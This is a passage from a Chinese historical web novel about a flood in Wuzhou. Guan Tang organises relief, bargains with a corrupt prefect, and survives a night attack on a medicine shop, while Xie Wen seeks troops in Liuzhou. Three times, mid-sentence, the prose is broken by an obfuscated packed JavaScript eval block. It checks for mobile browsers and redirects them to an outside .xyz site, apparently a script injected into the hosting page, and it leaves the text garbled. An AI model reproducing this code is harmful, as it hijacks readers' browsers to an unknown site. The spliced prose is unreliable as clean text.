赵令羽身旁一个兵卒说：“头儿，梧州罗城汉、俚混居，要在这其中为衙役，我说难听些，恐怕得是些三教九流的人物。” 观棠闻言轻轻点头，有那样一位治事的知州，他手下之人可想而知。 众人到了那年轻人东家铺面所在的街道，这里倒是灾民甚少，只是才走两步，便有两个衙役打扮的人冲了出来，举着木棍对众人道：“这里不许进。” 赵令羽倒也懒得废话，三下五除二将二人打倒，命手下绑起来，带着到了铺面门口。原来这是一处药铺，因为药材最怕水，所以特意选了这样位置居高的铺面。 “我东家他们久居衙城，这铺子只有我和我师父几人看着，前几日我师父离开梧州去收药材了，铺子里便只有我和两个学徒。”年轻人边说边敲了敲门，过不一会儿，里头传来问询声，两人交谈两句，门从里面被打开。 “林二哥！”那开门的少年见到年轻人，眼前一亮道：“你终于回来了！” 林二引着众人进屋，说：“你去烧些水，多多地烧一些，我们方才都淌了江水，身上脏得很。” 众人此刻都十分疲惫，其他帮忙堵决口的人都急着想回到自己亲人身边，赵令羽便先行将先前答应他们的口粮分给了他们。 “这一路上小心藏着些。”赵令羽说。 “谢谢大人，谢谢……谢谢夫人。”几人谢过赵令羽，又来谢观棠，观棠见了心中酸涩，说：“路上小心。” 那些人走后，林二寻来干净衣物给几人换上，又端来了驱寒的汤药，问：“大人接下来有何打算？” 赵令羽喝了口热汤，瞥一眼被绑得严严实实的两个衙役，说：“自然是先问问情况。” 观棠此刻在另一间屋子照顾女孩，见她脱下来的衣服下没有什么伤口，松了口气。她换好了衣服，带着女孩出来，此时赵令羽已经将衙役堵着的嘴松开了，正在问话。 接过林二递来的汤药，观棠道了声谢，问：“你会苍梧话？” “会的。” “你问问这个孩子，她的父……”她说到这里，又怕刺激到孩子，改口道：“你问问她叫什么，今年多大了便好，旁的先不要问。” 林二依言蹲下身问那女孩子，两人对话落入观棠耳中，咿咿呀呀，几句话后，林二对观棠说：“她的名字叫达妍昭，汉话意思是七彩祥云。她今年十岁了。” 没想到这么瘦弱的女孩竟然十岁了，观棠有些惊讶，随后摸了摸她的头，念出她的名字，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16106170|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 达妍昭”。小女孩似听懂了，抬起头对她微微一笑，那笑容果然像极了天边的彩色祥云，分外美丽。 观棠轻叹了口气，说：“真不知她是如何在那屋顶撑下来的……” 两人说话间，赵令羽却从那衙役口中问出了一些事。 “他们是特意留在罗城的。”赵令羽向观棠转述道：“据说十几天后便会有运着粮草的漕船到梧州，他们需在这段时间寻人修好码头。” “十几天……”观棠皱眉道：“这恐怕是衙城内官粮的极限，具体多少日？” 赵令羽复又去问，得到的回答是他们也不知。 “这梧州知州莫非真打算守他那衙城半个月？”栾慧冷哼一声道：“况且怎么偏偏算好了十几日后会有漕船。” 栾慧随口一说，观棠却很快反应过来，只有掌漕司的转运使才能肆意调运官粮，看来这件事确实是京中那几位大人物的手笔。 她沉思半晌道：“徐知州等得了漕船，罗城百姓可等不得，现下需赶紧疏通各处水道了。不过……他想要十几天后漕船顺顺利利入港，倒是给了我同他商榷的砝码。” 言至此，观棠颈项微仰。 她一身粗布衣裳，头发高高束起，面上也有些泥泞，神情间却流露出一股傲气，似已拿定了主意，仿佛寒冬腊月里悄然绽放的梅花，带着月下清辉的冷霜和暗香，叫人难以忽视。 * * * 一日前，谢闻等人到达了象州治所。 安排好朱达志在此地暂歇，何昉乘车往北去静江府后，谢闻没想到在调兵这件事上碰了壁。 太宗初年，辖四县的象州曾因周边驻军叛乱抵御有功，被擢升为防御州，后因邕州南扼交趾，便从象州迁走了大半兵力。此地背靠辖县更广的柳州，最终仅成为军队屯田之地，驻守的乡兵半兵半农，只有农闲的时候才会参与操练。 谢闻想要调兵救灾，但赶上雨患，象州的营田务使人筑堤排水抢救稻田，连一兵一卒都无法调与他用。 “大人，象州乃军需供粮之地，如今尚还不知各州灾情如何，万一这郁江上下游田泽被没，象州交不出粮食，军队就要乱了，如此岂敢轻易抽调人手去他州援助？”营田务躬着身子告饶道。 见谢闻一时无言，曹佐林开口问：“大人为何断言梧州有大难？” 胸前的伤口隐隐作痛，谢闻眉头紧锁道：“我先前阅各州府志，梧州已连续数年上报水灾，往年雨势未及今年大，梧州都要抢报赈济的粮款，缘何今年这么不声不响得，连烽火都不燃了。” “也许是知州治理有方，梧州并无大灾？” “象州乃郁江上游，你且问问营田务，此地遭灾如何？” 曹佐林递了个眼色给那老营田务，后者瞥他一眼，慌忙低下头道：“今年灾情确实较往年更严重，因此才怕秋收交不出粮食……” 谢闻身为提举常平仓，自然知道秋粮的重要性，曹佐林见他左右为难，问：“大人，要不我们去柳州求援？” 听见柳州二字，谢闻心中冷笑，面上倒未显露。 没想到兜兜转转，还是得入一趟那些人设的局。 18.第 18 章 衙城封城的头日，城内闻得镇南门拍门声阵阵，时刻不歇，仿佛擂鼓撼动人心。 起初，城内的灾民纷纷庆幸自己早早逃入了衙城，当他们得知经略安抚使的夫人被接入城内，守城的兵卒还将那些想要一同入城的人杀死时，有些人坐不住了，涌到了衙署外，嚷着要让徐知州开城门放人。 “开门！开城门！那么多百姓在外面！”一位青壮男子怒吼道：“城外难道没有你们的家人吗！”他说完便带着几人想要冲进衙署，守门的官吏用包着扁铁的木棍锤击此人小腿，只听咔嚓一声，男子一声痛嚎，定睛一看，小腿已经被打断了。 “反了你们了！这么想死，我看前几日填决口就该将你丢进那郁江水里！身子骨这么硬！”司理参军瑟缩在官吏身后，嘴巴却不停歇。 他这一番话突然引得人群中一个老叟扑到了持棍的官吏身上，只听他哆哆嗦嗦道：“我儿前日填了决口，我就剩这一个儿……他死了，你们居然为了把一个妇人抬进城里，又杀了那么多人，我要和你们拼了！”这老叟常年耕地，力量大极，官吏一时抽不出棍棒，便狠狠推了他一把。 那衙署大门有数级台阶，只见老叟被推得身子后仰，“咚”一声头磕在地上，顿时血溅当场，昏死过去。 见老叟被害至此，在场的百姓便如那开锅的沸水，再也按捺不住，冲了上来。 司理参军知道这下大事不妙了，立刻奔回衙署后堂报给徐继昌，后者闻言唾骂了句：“这帮刁民！”随后又道：“叫伍都监派人去赶走他们，便说不许扰了经略使夫人的清净。” “大人，伍都监此刻在镇南门守着，怕是一时半会儿过不来。”司理参军身子更低了些：“镇南门前也聚了好些人。” 隔着高高的院墙，被安置在衙署后院的青红等人听见前面的喧嚣声，皆感到分外不安。他们被接入衙城时所乘马车窗户紧封，却能听见车外百姓们的呐喊和怒吼，间或夹杂着几声对夫人的咒骂。 青红不知这是为何，直到入了州衙，齐康等未乘坐马车的随从才同她们说了大概。 听见守城吏射杀了好几个闯门之人，钟嬷嬷喃喃自语道：“这知州怕不是得了失心疯了。” 杨季安双手抱胸，怒目圆睁道：“此人打着夫人的名号为非作歹，待夫人回来定叫他好看。” 齐康瞥他一眼，说：“季安，出来说话。” 他二人正要出门，门口两个持刀的官吏拦道：“大人命你们在这屋子里候着。” 杨季安怒道：“候着？不就是囚着我们？” 两个官吏不再接话，齐康见状使了个眼色，关上了门。 钟嬷嬷听见几人对话，上前道：“这可如何是好？” “既然接我们入城，应当暂时不会图谋大家的性命。”齐康说。 杨季安道：“左右不过两个官差，我将他们打昏，我们冲出去。”他幼时身体常病，被父母送去寺庙修身养性，练出一身功夫和莽劲儿，又年少下山，自是不懂这世间的律法条规。 “说的什么混话！”齐康喝止道：“你是什么身份？那些都是官差！伤了官差，这知州在衙署内即刻便能要了你的命！” 杨季安悻悻闭了嘴，齐康低声道：“你可知那兵马营的人为何未寻见夫人，也要将我们送入城内。”见周围丫鬟仆妇皆讷讷不语，齐康叹了口气，说：“我倒希望夫人和文四他们都不要回来了。” “齐大哥，你这话是什么意思？”青红颤着声道。 “我问你，我们如今进城了，那先行进来的姜虞候何在？” 杨季安一拍脑袋道：“对啊，姜虞候他！” 齐康指了指门口，示意他低声些，说：“姜虞候不在，说明他燃烽火一事知州准备问罪，将他囚于别处了。” “老天爷，这州府上下是铁了心要困守衙城了。他们若悄默声地将夫人接进城倒还好说，可他们偏偏大张旗鼓地，叫那些百姓眼睁睁瞧着……”钟嬷嬷摇头道：“夫人初入广右便遇到这样的事情，累及的可是姑爷那经略使大人的名声。” 听她所言，齐康不着痕迹地皱了皱眉。 他本是延州观家的家生子，父亲在世时曾为宅中管事。观闳怜他幼年丧父，想送他入军营做事，但近些年边关不太平，最终还是将他留在了宅子里。齐康及冠后没多久，观夫人做主将身边得力丫鬟嫁与他，他与妻子恩爱，又得麟儿，心中无不感念观家于他的恩情深重，因此，得知观闳要在府内挑一得力之人去助汴京二房时，齐康便自荐以报恩。 在延州时，齐康与这短暂居于内宅的二房小姐并无接触，只偶听自家娘子说那二房小姐貌美甚，她和二姐、四郎去庄子玩的路上，碰见了几个延州少年郎打马相随，还生出些事端。 却说观家大房三子，大郎和二郎都入了军营，观夫人无论如何也不愿四哥儿投军，想着他能识文断字，往后谋个小差，平平安安过一生便是。 观四郎比观棠稍小两岁，正是血气方刚的年纪，见那几个纨绔子弟追着马车闹腾，气得挥鞭便将一人抽下了马，随后带着自家姐姐们扬长而去。观闳得知此事后，虽然在府内重罚了他，但在外却言说他护姐心切，还迫着其中为首的少年郎上门道歉。 只不过此人不光是来道歉，还是来提亲的。 当时怕观四郎将事情闹得太大，观家二娘子出面阻拦，观棠在马车上掀开车帘看了一眼，便叫那来提亲的少年郎看见了。 据说是惊鸿一瞥，魂不守舍了好几日，磨着他老子来提亲，说是只要提亲，无论能不能求娶到观棠，定会安心读书，考取功名。 他家娘子说到这里，笑得不行，齐康追问，那少年郎考得功名了吗？他娘子回说，那可得看两年后了，话题就此揭过。 南下这一路，齐康原先只一心想着还观家恩情，却见观棠颇有她伯父的风范，为人处世也很有决断，不知不觉间将她视作了可以托身的主子。只不过他在观棠身边愈久，愈发理解为何观闳要四处遣人来助她，这二房派到她身边的人，实在是…… 思及此，他对钟嬷嬷所言并未置评，只说：“但愿夫人莫要回头，直直往静江府去。” 就这样，齐康等人被困在了衙署里，不知短短数日内罗城便生出几桩大事。 其一，有那十几个助力塞决的汉子作证，观棠将郁江决口处暂堵之事叫百姓知晓了，众人方知这新任的经略安抚使夫人并未入衙城，而是在水患到来之际舍命奔去了水寨搬救兵。 其二，观棠与水寨兵们在城内抓了十数个衙役，将他们搜罗的口粮清点入库，在那药铺门前设了粥棚，又命人将曝尸在镇南门前的尸体敛棺下葬，随后，她与赵令羽等人守在了镇南门前，并不急着令守城吏开城门，只说有话要传给徐知州。 守城吏收了赵令羽一箭射来的信件，层层递到了徐继昌面前，后者看完信，怒而拍案道：“区区一介妇人，竟敢要求我这个知州替她做事！” 那司理参军捡起地上的信纸，上下扫了两眼，原来观棠在信中以十几日后漕船到港来要求徐知州交出梧州罗城的水道图。 这几日他们都听闻了观棠在罗城内所做之事，也曾想开城门派兵马营的人去将她抓入城内，但这城门一开，会发生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120534|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么可就由不得他们了。由此，徐继昌还是决定死守衙城，不料观棠竟得知了漕船一事，以此拿住了他的命脉。 为了稳住衙城内的人心，衙署门前自昨日起也架起了粥棚，只不过灾民远比他最初所估算的多，眼见着官府的粮仓日渐消耗，若无法接上漕船，衙城就要从内部溃乱了。 “大人，我看……不如先将那图纸交出去，左右咱们也没有什么损失。”司理参军斟酌道。 “确实没有损失，但若那观氏女真的成功将涝水驱散，整个罗城岂不都成她的了？” 司理参军哭笑不得道：“大人，那观氏女只是个官眷，并非什么来占城的水寇啊。” “水寇……水寇！”徐继昌听到这里，凹陷的眼睛亮出些许光彩。 司理参军见他抓笔蘸墨，似准备写些什么，一双眼睛兜着看向他。 司理参军顿悟，立刻躬身道：“大人，我这就告退。” “慢着。”徐继昌道：“你命人将水道图找出来。” 司理参军反应过来，心头一喜，面上却藏着，开口询问：“要交给那观氏女吗？” “给她无妨，但是……”徐继昌低下头，似在心中盘算着什么，随后道：“你派人去镇南门传话，就说水道图可以给她，不过要两日。” * * * “两日？”听见观棠说出信上的内容，赵令羽皱起眉头，面上的疤痕扭曲如虫，栾慧说：“夫人，这是不是徐继昌的缓兵之计？怕是有什么阴招在等着咱们呢。” 观棠凝神看了一会儿信，末了重新叠好，递给身后的栾慧，开口道：“城中所剩的口粮和咱们带来的粮草尚能撑个七八日，两日便两日。”她说到这里，抬头望了一眼高耸的衙城城墙，以及城门上那些渗入木纹里几不可见的血手印。 “兵来将挡，水来土掩。”女子的声音清脆有力，如金石相击。 两日后的傍晚，观棠与赵令羽等人看着那城墙上缓缓降下来的一个篮子，栾慧难掩激动道：“夫人，有了水道图，咱们终于可以疏水了！” 此刻抬头望着城墙的观棠却面色沉沉，这两日罗城城内无事发生，她反而心头惴惴。 听见栾慧所言，她并未回应，大步向前从那竹篮中拿起水道图的图册，翻了几页，见上面并无涂抹痕迹，心中愈发不安。她不信徐继昌会如此“乖顺”地交出水道图，本以为他会在此上做文章，但依她所见，这水道图应该无误。 但此刻实在无暇思考徐继昌所为何意，观棠带着众人回到药铺，准备连夜研究出明日的疏水计划。 是夜，林二睡了一觉，见那铺子里还明晃晃地燃着灯，起身想替他们烧些水添茶。他披着衣服走到院子的水缸前，突见远天之处火光冲天，诡谲的绯红色几乎照亮了半个罗城的天空。 林二冲入铺子里，准备告知众人消息，却见微烁的烛光之下，女子正专心在纸上誊画着什么，侧脸静谧好似从前他在游商画像上见到的佛像，而枕着她膝头入眠的达妍昭就像是佛祖座下的童子。 林二知道这几日达妍昭都与她同榻而眠，但未料到观棠竟如此溺着她在身边，他咽了口唾沫，轻声道：“夫人，好像有什么东西烧起来了，火势还不小。” 此话一出，原本闭着眼睛靠坐在角落药柜旁的赵令羽睁开眼起身道：“什么方向？” “瞧着是东南方向。” 东南方向并非衙城，而是郁江。 观棠研究了一夜的图纸，此时已经十分疲惫，几乎是迟了一步才抬起头，听见林二说出方位，突然脸色一变，对赵令羽道：“赵队将，海鳅船！” 19.第 19 章 “怎么样了？”赵令羽问攀上房顶的手下，那人回道：“头儿，江面上起火了，好大一片。” “看得见咱们的船吗？”赵令羽边说着边卸下随身佩剑，顺着梯子往上爬，他头顶传来回复：“我……我看不太清……” 待赵令羽到了屋顶，果见远处郁江上竖起一道火墙，只隐约可见海鳅船的两道桅杆在那火光后飘荡，看不见船身。 这样的火势，倒像是有人在江面上洒了油后再放火形成的。 达妍昭此时也被惊醒，她不知道大人们在说什么，但各个都面色凝重，她只好抱着观棠的衣袖大气不敢出。 观棠摸了摸她的头以示安慰，其实自己也有些不安，但又觉得达妍昭对于她的依靠反而带给她一丝坚定，心慢慢沉了下来。 待赵令羽下来，观棠上前问：“你们的船如何了？” 赵令羽脸色阴沉，摇了摇头，说：“那火势太大，看不清楚，我要带人去江边看看。” 说完，他看了看四周，低声道：“夫人，我疑心这是声东击西之计。药铺的库房里放着这几日城中的大半口粮，若有人想诱我离开……” 观棠方才便是因此事心中不安，只不过揽着达妍昭的时候，她就打定了主意，不会阻赵令羽去江边探查。海鳅船上还有他的手下，作为队将，他不可能放弃他们。 “你去吧，我守在这里。” 赵令羽知道这是无奈之举，点了十个人一同去江边，若要援救落水之人，他们这些人恐怕不够，但已经是极限，另留了十几个人给观棠。 “尽够了。”观棠说，“罗城内留守的衙役不多。” “怕就怕兵马营的人趁夜来犯。” “那么多百姓还守在镇南门前，若徐知州想动兵马营的人来抓我进城，早就这么做了，何必还要多此一举将水道图纸给我们。”说到这里，观棠朝他宽慰般地笑了笑，说：“你速去吧。” 赵令羽拱了拱手，带着几人离开。他走以后，观棠命人移动药柜，将铺面的正门抵住，众人退到了院子里。 此药铺正门朝街的方向面西，中有一座小院。小院南北两侧是与隔壁商铺分隔的院墙，再往东走是一栋二层小屋，林二等人日常居于此。屋子东南拐角另有一间库房，里面日常储存着药材，现下堆满了供城的口粮。 送走赵令羽后，观棠思索着若真有人要来犯铺子，会如何行事，见林二带着被惊醒的小学徒站在一旁，她对二人歉道：“将你们卷入其中了。” 林二摇摇头，说：“夫人言重了，我是医者，见惯世间凄苦，生死早就置之度外了。” 不知想到什么，观棠突然眉心一跳。 天光下她的眸子转动，灵动如星，只听她开口道：“我不曾看过医书，但以前听给我母亲看诊的大夫说，有的药方子里也会有毒材，药铺中可有能够炮制毒药的药材？” 林二眨了眨眼，已然领悟到观棠想做什么。他带着学徒进了库房，观棠见栾慧站在一旁，难得一句话未说，走上前问：“是留心到什么了？” 栾慧勉力朝她笑了笑，说：“夫人，无事。”他顿了顿，还是开口道：“只是想到倘若……倘若文四还在就好了，他功夫那么好，此刻能多一个人护着您。” 这几日他随观棠在罗城以及周围江水上留心探寻，却始终不得文四下落，就连困在城中的那些浮尸，栾慧都一个一个亲去探查了，他不知自己是该期盼找到文四，还是就这样任他了无踪迹。 浩浩江水，若真要遁匿一个人，实在太过容易。 * * * 这个夜晚注定漫长，对谢闻来说亦是如此。 往柳州治所马平县的一路上，胸前的伤口仿佛被一条冰冷却吐着灼热毒液的蛇盘踞着，到了州衙前，谢闻却需得若无其事地翻身下马，与柳州知州秦如傅等一干人等见礼。 州衙大门前的灯笼被风雨吹得摇曳，面前那几个落在地上的影子仿佛窜动的鬼影，叫人不寒而栗，橘色的烛火倒将谢闻本无血色的面容照得有了一丝温度。 “经略使远道而来，下官有失远迎，见谅、见谅。”秦如傅语态恭敬，眼神却直勾勾打量起自己跟前未着官服的年轻男子。 此人就是大兆建国以来第一位连中三元之人，在昭文馆任秘阁校理一年不到，便如玉帝差那天罡下凡，突然被派来了广南西路。 岭南历来为官员贬谪之地，他秦如傅亦是如此。 秦家三代为官，秦如傅借祖荫入朝为官，后在显宗时期擢升为司谏。时任旧党党首，同平章事魏葛清殿前驳斥显宗，显宗又因体弱无法主持政事，便上疏请求太后垂帘听政，被旧党诸人忌恨，参其勾结贵戚，扰乱朝纲，显宗不得法，将其贬离了汴京。 当时恰逢秦如傅的母亲在汴京病逝，他未及见其母最后一面，孝期又终日饮酒自纵，再次被贬。新帝登基初，与外戚夺权，自当排除当年曾参奏太后还政之人，秦如傅被谪为知柳州，时年四十八。 纵观他前半生的官场之路，坎坷崎岖，似乎总与时势背道而驰，而面前这位谢经略，虽出身寒门，却因投身新党，得官家扶持，年纪轻轻便成为朝野上下声名鹤立之人，怎能不让他心生妒意？ 因此，即便知道自己和铸钱监乃至整个柳州都被摆上了旧党的棋盘，秦如傅却也有一丝难言的快意，更何况谢闻此时只身入局……思绪至此，他定睛一看，才发现谢闻身后还跟着一人。 “曹佐林？”秦如傅难掩惊讶，说：“你怎会在此？” 曹佐林拱手行礼道：“知州大人，我是随经略使一道来向您借兵的。” “借兵？” 谢闻右手背于身后，拳头紧攥，试图以此消解左肩伤口传来的剧痛。他面不改色地对秦如傅道：“秦知州，我们总不能在你的州衙门口相谈吧？” 秦如傅回过神，很快引谢、曹二人和曹佐林的数个亲兵入了州衙，道：“厅内设了宴，为经略使接风洗尘。” 此时已近亥时，早已过了晚膳的时辰，谢闻和曹佐林入城前便以干粮填了肚，于是他道：“秦知州的好意我心领了，只不过……”说到这里，谢闻回身扫了一眼跟在秦如傅身后的通判等人，说：“柳州兵马都监可在？” “他并未在此。”秦如傅微微欠首道。 见他话无下句，谢闻微微拧眉，露出一丝不耐道：“唤他过来同席。” 秦如傅道：“连日雨，不巧昨日有一处山崩阻了路，李都监率众开壅山路去了。” 众人行至廊下，此处灯照如昼，秦如傅见他眉头紧蹙，面色还透着一丝苍白，斟酌道：“谢经略使不如……今夜在官驿里休息一晚，我书信传李都监速回……” 谢闻打断他道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141794|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深夜叨扰诸位，但我乃经略安抚使，官家特令我便宜从事，若兵马都监在此，点兵更快些罢。” 听他所言，竟是要亲去兵马营。秦如傅和身旁通判相视一眼，后者提袍上前谨慎道：“谢经略使这是准备事后再呈报枢密院吗？” 谢闻停下脚步，嘴角轻扬，声音倒比雨夜寒凉了几分：“调用区区几百厢军，便是事后呈报又有何妨？” 这就是官大一级压死人。 秦如傅不知他缘何要调兵，原以为他是来查铸钱监一案，看样子他似乎并不想在此地逗留，难道铸钱监一事，京中并未透露给谢闻？ 他一边想一边一路心中如擂鼓，众人进入厅堂简单用过膳后，谢闻目视通判等人道：“诸位若无事，便退下吧，我有些话要同知州大人单独相谈。” 秦如傅稍松口气，若谢闻有事同他商榷，说明铸钱监一事到底还是绊住了他，于是令通判等人离开，却见谢闻也轻轻颔首，示意曹佐林离开，曹佐林拱手退下。 随着屋内动静渐歇，谢闻起身，负手看了一会儿那挂在厅堂里的匾额，上书的“明镜高悬”四个字苍劲有力，说：“颇有风骨，不知是哪位大家所提？” 秦如傅稍稍低头道：“大人谬赞，这字是小人所写。” “倒让我想起《百喻经》里宝箧镜喻的故事，你可知？” 秦如傅仍未抬起头，道：“大人请说。” “一人为躲避债主，彻夜奔逃，偶然间发现了一个宝箱。此箱内覆一镜，这人贪恋宝物，犹豫再三，还是打开了箱盖，这时，镜中出现了他的身影，你猜此人如何？” “他打碎了镜子，随后盗走宝物。”秦如傅坦然道。 谢闻转过身，摇了摇头，说：“他误以为箱中之人便是箱子的主人，诚惶诚恐地道歉，随后丢弃箱内珍宝逃走了。” 秦如傅抬起头，疑道：“怎会有人将镜中的自己认作旁人？” “却说众生心者，犹如明镜，即便明镜无垢，心有垢，则法身不现故。此人不愿偿债，因此遁逃，自然看不清自己的本真。” 秦如傅稍稍思忖，随后道：“何为债，何为逃，也许此人是被迫背上了债，若不逃走更会被夺去性命，即便是看见了宝箱，也不相信自己能够得此大幸拥有这些宝物，这才弃如敝履。” “你说得对。”谢闻目视着秦如傅，眼眸深邃若渊谷，说：“假若此人身边有一人出言提醒他，他便能发现那是镜中的自己。” “大人说笑了，那就会为了宝物两相厮杀，拼个你死我活了。” 谢闻听见此话，并不意外，反而摇头笑道：“非也。若那人不出言提醒，自然而然便能得了那箱宝物，他有心相救，才会开口。” 这一番话令秦如傅一时哑然。 此时窗外雨声如更漏，秦如傅感觉这更漏声像是在锤击自己的胸膛。 过了不知多久，也许有顷刻，也许有半晌，秦如傅轻叹口气道，“大人，我先前并不解官家为何如此重用于你，而旧党诸人又为何视你若虎狼。你只身一人来到柳州，令我放下戒备，又同我在内堂说了这样一番话。如今我只想问您，为何突然要调用厢军？” “梧州有难，恐怕你我谈话间，已然死伤无数了。”谢闻一字一句道。 谢闻不知，他的话正巧言中了此刻百里之外观棠的境况。 20.第 20 章 寅时末，天色未明，是书上说的军士最易困怠的时候。 观棠从前并未有过这种体悟，在即将有什么事情发生之前，鼻息间都仿佛能闻见一种暗涌在潮热空气里的紧张感。 她揽着达妍昭坐在屋内一角，栾慧、林二及小学徒，以及三个赵令羽的手下或战或坐在不远处。 静悄悄的夜里，时不时传来四声杜鹃的啼叫，前两声音高，后两声音低，在暗夜里显得有些阴森。 感觉到膝头达妍昭的脑袋愈发沉了下去，观棠低声开口道：“你们赵队将是如何进的水寨，可有人知？” 三人对望彼此一眼，一人道：“头儿从未说过。” 栾慧这几日也对赵令羽充满好奇，追问道：“那他在水寨有多少年了？” 几人仍旧面露茫然，说“我们几个去的都晚，听刘哥说，老大在水寨里有七八年了。” 观棠听了心想，赵令羽看起来已过而立，说明他二十岁出头便犯事刺配。此人的习性和规矩像是在军中打磨过许久，莫非是卷入了什么禁军暗斗，这才导致被冤入狱？ 她正想着，忽然听见屋外里传来一声哨子声，与那四声杜鹃的声音相错，乍一听还当是鸟叫。 栾慧身子一凛，道：“来了。” 过不一会儿，楼下院子里响起两声惨叫。 “听方位像是给了哥王扑到了。”林二说。 数个时辰前，赵令羽离开以后，观棠命人在院墙各处布下了陷阱。 林二取得一种名叫“了哥王”的岭南药材的汁液，灌在了竹筒里，待人踏进院墙，触发机关，植汁便会从竹筒里倾倒。 “这植物汁溅则目盲，身上若是有伤口，沾到更是剧痛无比”林二解释道，“只不过这药材药铺内并不多。” 观棠说：“这陷阱更多的只是起威慑的作用，叫他们知道我们早有准备。” 此时，达妍昭被屋外的声响吵醒，抬起头看向观棠，他们所在小楼二层，屋内未点灯，江面的火光原先撩亮了半天，但不知是因为天光将现，还是那火势被控住，此刻屋外黑黢黢一片，令人胆寒。 感受到女子柔软和带有温度的手轻轻裹住耳朵，达妍昭眨了眨眼睛，一声未吭。 屋外渐渐响起了兵器碰撞的声音，夹杂着人的呐喊声，观棠不知来了多少人，楼下院中只有十三人，若来的人数众，恐怕今夜难以平安度过。 打斗声逐渐激烈了起来，这些水寨兵从前都是逞凶斗狠的角色，再加上赵令羽尽量将好手都留在了药铺里，观棠等人皆守在二楼，惟愿能够撑到赵令羽带人回来。 这时，一枚箭突然射入屋内，声响和力道都十分大，半根没入了屋子里的木柱内，发出一声铮鸣。那箭几乎是擦着林二身旁的小学徒而过，在他耳畔爆起，吓得他下意识尖叫了一声。 观棠心道，不好，此箭像是机弩所出，他们探得屋内有人，马上便会派人来此。 果然，很快便听楼梯响起吱呀声，有人摸索着上来了。 观棠和林二不会武，又有两个孩子要护着，早在那楼梯上布了陷阱，没一会儿，果听其中一人惨叫着滚下了楼梯。这机关陷阱是栾慧所设，他在楼梯上绷了一根细绳，稍加触碰，便会被绑着的竹叉扎入腿腹，竹叉上抹了去皮的白附子，能叫人皮肤立刻红肿如烫伤，遇伤口则使之溃烂。 尽管如此，仍旧听见有人在往楼上走，观棠抱着达妍昭的手愈发地紧，就在这千钧一发之际，远处突然传来人声，熙熙攘攘，好似有很多人聚在药铺之外的街道上。 那药铺朝街的正门被堵死了，但并非人力不可破，观棠抬头看向黑暗中栾慧所在的方向，隐约能看见他双手握着短匕，正警觉得盯着门口。 不过短短几息间，便听铺面那边轰然一声，显然是正门被破，涌入了许多呐喊的人声。 “你们是何人！为什么在这里！”一个汉子大喊道。 听声音似乎并非水寨兵，观棠的身子坐直了些，便听院子里出现各种各样杂乱的声音，许多都是她听不懂的苍梧话，其中夹杂着一两句“保护经略使夫人”的官话说辞。 “难道是城中百姓？”栾慧疑道，摸着墙壁走到窗边，侧耳听了会儿楼下的动静。 屋内几人大气不敢出，却听楼下来人势众，不一会儿便压制住了侵入药铺之人，有几人喊道：“你们护好粮食，我们找找夫人。” 这下观棠辩出这似乎是之前一个曾助他们堵决口之人的声音，林二也反应过来了，起身对屋内三个水寨兵道：“我出去看看好了。” 栾慧怕他着了楼梯上的机关，随他一道下了楼，过不一会儿，观棠听见有人噔噔噔上了楼，栾慧举着火烛推门而入道：“夫人！真的来了不少城中的百姓！” 观棠只觉一直压在身上的重担突然卸了力气，连呼吸都急促了两分。 她稍缓了口气，带着达妍昭等人走出屋子，果见楼下院子里举着数枚火把，火光将一些熟悉的人的面庞照着，许多都是当日与众人一同堵决口之人，还有些是她这几日施粥时曾见过的，都关切地仰头看着牵着达妍昭走出来的她。 有一人大胆道：“夫人没有受伤吧？” 观棠摇摇头，说：“诸位，你们怎会在此……” 那问话之人看了看四周站在他身边的人，道：“我们见那江上似着了火，便成群往过走，结果在江边遇到了赵队将等人。他说夫人这边恐怕会遭暗算，我们便又赶回来了。” 听见他们提及赵令羽，观棠忙问：“赵队将可好？那艘停在江上的大船如何了？” 这下众人有些不知所措，互相看看彼此，另有一个声音道：“着火的便是那艘大船。” 观棠听见这话，一时不知该说什么，她身边原先还站着的三个水寨兵赶忙冲下了楼，抓着这些人问话。观棠遂也带着达妍昭下楼，楼梯上倒着两具尸体，但因为听见海鳅船遭难的事，她并无心顾及身旁的女孩子，只是沉着步子往下走。 栾慧跟在她身后，将达妍昭往自己身边拉了拉，观棠走上前，目光从那些摇曳的火光下的面庞一一扫过去，颤着声开口道：“谢谢大家舍命相救。” “夫人为了梧州做了这么多事，我们怎么可能看着夫人陷入危难！”一人铿锵有力道，不少人也应和点头。 观棠言谢完，领着众人开始清点院内的死伤。 院内的水寨兵竟只剩六人，大多受了重伤，幸好前来救援的百姓在混乱中还知道要留活口，他们绑了两个来犯之人，拖到了观 